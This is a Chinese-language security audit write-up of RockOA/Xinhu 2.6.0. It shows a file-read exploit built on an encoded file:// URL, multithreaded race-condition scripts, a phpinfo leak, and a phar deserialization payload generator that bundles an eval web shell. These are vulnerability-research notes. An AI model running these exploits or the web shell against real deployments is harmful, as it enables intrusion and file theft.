官網(wǎng):
http://www.rockoa.com/
2.6.0版,下載鏈接:
http://www.rockoa.com/view_down.html
一次雞肋的php審計(jì)成果。
環(huán)境搭建
php7.3.4,使用phpstudy搭建,開(kāi)啟debug模式,在php.ini最后添加以下內(nèi)容:
[XDebug]
zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll"
xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp"
;是否開(kāi)啟自動(dòng)跟蹤
xdebug.auto_trace= 1
;啟用性能檢測(cè)分析
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
;是否開(kāi)啟遠(yuǎn)程調(diào)試
xdebug.remote_enable = 1
;調(diào)試插件dbgp
xdebug.remote_handler = "dbgp"
;允許調(diào)試的客戶端IP(如果遠(yuǎn)程主機(jī)開(kāi)放則填遠(yuǎn)程主機(jī)的ip)
xdebug.remote_host = "127.0.0.1"
;允許調(diào)試的端口
xdebug.remote_port = 9001
xdebug.remote_mode = "req"
;是否開(kāi)啟遠(yuǎn)程調(diào)試自動(dòng)啟動(dòng)
xdebug.remote_autostart=1
xdebug.idekey = PHPSTORM
xdebug.remote_cookie_expire_time = 36000
max_execution_time=36000
max_input_time=36000
default_socket_timeout = 36000
apache配置文件最后加
ErrorDocument 510 /error/510.html
KeepAliveTimeout 5
MaxKeepAliveRequests 100
Timeout 36000
FcgidIOTimeout 36000
FcgidIdleTimeout 36000
IPCConnectTimeout 36000
IPCCommTimeout 36000
phpstrom配置debug:
設(shè)置debug監(jiān)聽(tīng)的端口,地址,key。
設(shè)置debug的ip和端口。
最后添加debug服務(wù)。
文件讀取漏洞(雞肋,需要代碼生成的隨機(jī)秘鑰)
index.php為入口文件,34行包含view.php。
view.php可以動(dòng)態(tài)引用webmain目錄下的各種文件。
我們順著分析此漏洞,
asynrunAction.php存在downwxpicAction函數(shù),并調(diào)用了downximg函數(shù)。
在69行,picurl參數(shù)被uncrypts函數(shù)解密。
然后又執(zhí)行了uncrypts函數(shù),這里是解密被加密的picurl參數(shù)。
asynrunAction.php中71行的m函數(shù)可以調(diào)用webmain/model下的文件,在rockFun.php中。
所以downximg函數(shù)在reimModel.php中,
在1579行,會(huì)先利用c函數(shù)去調(diào)用curlChajian.php的getcurl函數(shù)。
rockFun.php的c函數(shù)會(huì)調(diào)用到/include/chajian/目錄下的文件。
curlChajian.php的getcurl函數(shù),
75行設(shè)置url,90行,執(zhí)行curl_exec函數(shù),可以利用http,dict,file,gopher協(xié)議,
93行,返回訪問(wèn)的結(jié)果。
然后又回到reimModel.php的1580行,執(zhí)行downChajian.php的createimage函數(shù),
78行,利用file_put_contents函數(shù)保存文件,
88行和102行,如果我們生成的文件不滿足條件,則會(huì)刪除,
此時(shí),就存在條件競(jìng)爭(zhēng),在同一時(shí)間大量訪問(wèn)此文件,再發(fā)送大量的請(qǐng)求,就有機(jī)會(huì)訪問(wèn)到我們的文件內(nèi)容。
現(xiàn)在我們就需要構(gòu)造url能調(diào)用到asynrunAction.php的downwxpicAction函數(shù),
根據(jù)view.php,構(gòu)造url,
http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726 ,但是這里還缺一個(gè)加密后的picurl參數(shù)
這里的asynkey在asynrunAction.php中的構(gòu)造函數(shù)中,
asynkey在webmainConfig.php文件中,
需要滿足asynkey=md5(md5(asynkey)),
以此完整payload為:
http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726
這里的原始asynkey后臺(tái)也可以看(異步任務(wù)key,這里換了一個(gè)環(huán)境,導(dǎo)致異步任務(wù)key兩次MD5加密與上面不一致)
payload:
攻擊方式:
加密picurl參數(shù)傳入,利用此腳本加密:
11行的payload參數(shù)利用file協(xié)議讀取文件,自定義文件讀取的路徑。
import base64
a = "fdvzsakhgprcoxwuitjlbqynem"
b = {}
count = -1
for i in a:
count = count + 1
b[i] = count
print(b)
payload = "file:///D:/1.txt"
# print(base64.b64encode(payload.encode()).decode())
payload_encode = ""
for z in payload:
flag = False
for i in b.keys():
for j in b.keys():
c = str(b[i]) + str(b[j])
if chr(int(c)) == z:
print(str(i) + ":" + str(j) + " 字母:" + z)
payload_encode += (str(i) + str(j)) + "0"
flag = True
break
if flag:
break
print(payload_encode)
將加密的數(shù)據(jù)給picurl參數(shù),
然后先執(zhí)行此腳本(shiyan2.py),多線程訪問(wèn)系統(tǒng)自定義的文件名。
import requests
from datetime import datetime
import queue
import threading
#定義多線程類
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#執(zhí)行多線程函數(shù)
def run(self):
while not self.que.empty():
#從列隊(duì)取出target
target = self.que.get()
self.upload(target)
#需要多線程跑的函數(shù)
def upload(self, target):
# 獲取當(dāng)前時(shí)間
now = datetime.now()
try:
url_jpg = "http://192.168.191.249:8044/upload/" + str(now.year) + "-" + str(now.month) + "/" + str(now.month) + "_" + str(now.strftime("%H%M%S")) + target + ".jpg"
url_request = requests.get(url_jpg)
if url_request.status_code == 200:
print(url_request.content.decode("utf-8"))
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 線程列表
que = queue.Queue() # 定義隊(duì)列變量
for i in range(1,100):
for target in range(0, 100):
que.put(str(target).zfill(2)) # 添加目標(biāo)到隊(duì)列中
for i in range(thread_count): # 創(chuàng)建多線程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(100)
之后再執(zhí)行此腳本(shiyan1.py),多線程訪問(wèn)此url使服務(wù)器生成文件。
import requests
from datetime import datetime
import queue
import threading
#定義多線程類
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#執(zhí)行多線程函數(shù)
def run(self):
while not self.que.empty():
#從列隊(duì)取出target
target = self.que.get()
self.upload(target)
#需要多線程跑的函數(shù)
def upload(self, target):
try:
url = "http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726"
requests.get(url)
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 線程列表
que = queue.Queue() # 定義隊(duì)列變量
for target in range(0, 1000000):
que.put(target) # 添加目標(biāo)到隊(duì)列中
for i in range(thread_count): # 創(chuàng)建多線程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(10000)
最終效果:
訪問(wèn)到我們生成的文件內(nèi)容。
后臺(tái)信息泄露(雞肋,phpinfo)
http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false
tableAction.php可拼接,$sql.=" $name
";
但是堆疊注入時(shí)報(bào)錯(cuò)。
coginiAction.php
和
http://192.168.158.249:8044/index.php?d=task&m=login|api&a=downimg&ajaxbool=false
存在phar反序列化入口,還沒(méi)有找到利用鏈。
反序列化漏洞(雞肋,文件名截?cái)嗪笾荒艹缮煽瘴募?br/>coginiAction.php的phpinisaveAction函數(shù)執(zhí)行了file_exists函數(shù),并且$path可控,
我們可以利用phar反序列化,就找到相關(guān)的反序列化利用鏈。
mysql.php的mysql類中存在__destruct()函數(shù),此函數(shù)在對(duì)象被銷毀時(shí)執(zhí)行,
80行的$this->rock可控,設(shè)置為rockClass類。
76行需要開(kāi)啟sql日志。
就會(huì)進(jìn)入rockClass類的createtxt函數(shù)。
回到mysql.php中,78行的$filstr可控(因?yàn)?this->rock->adminid可控),
它被拼接到文件名中,
文件名為:時(shí)間+$filstr+隨機(jī)字符.log,
那么我們可以利用:來(lái)截?cái)嗬@過(guò),
$this->rock->now也可控,此變量被拼接到寫入的內(nèi)容中,
79行的$this->sqlarr不能為空數(shù)組。
使用phar生成phar文件時(shí),需要將php.ini中的phar.readonly設(shè)置為0。
payload.php:
<?php
abstract class mysql{
public $rock;
public function __construct($set_rock)
{
$this->rock = $set_rock;
$this->sqlarr = ["a", "b"];
}
}
final class rockClass{
public $adminid;
public $now;
public function __construct($set_adminid, $set_now)
{
$this->adminid = $set_adminid;
$this->now = $set_now;
}
}
$path = "1.php:";
$now = "\n<?php phpinfo(); ?>\n";
class mysqliClass extends mysql{
}
$payload = new mysqliClass(new rockClass($path, $now));
//echo base64_encode(serialize($payload));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
//將反序列化的對(duì)象放入該文件中
$phar->setMetadata($payload);
//phar本質(zhì)上是個(gè)壓縮包,所以要添加壓縮的文件和文件內(nèi)容
$phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>");
$phar->stopBuffering();
訪問(wèn)payload.php生成了phar.phar,將phar.phar改成phar.jpg,
之后在后臺(tái)更改頭像處上傳phar.jpg文件。
返回路徑:upload\/2023-12\/14_15164671.jpg
之后訪問(wèn)存在phar反序列化的url,
http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false
post:
path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php
生成成功。
該文章在 2024/7/2 10:00:26 編輯過(guò)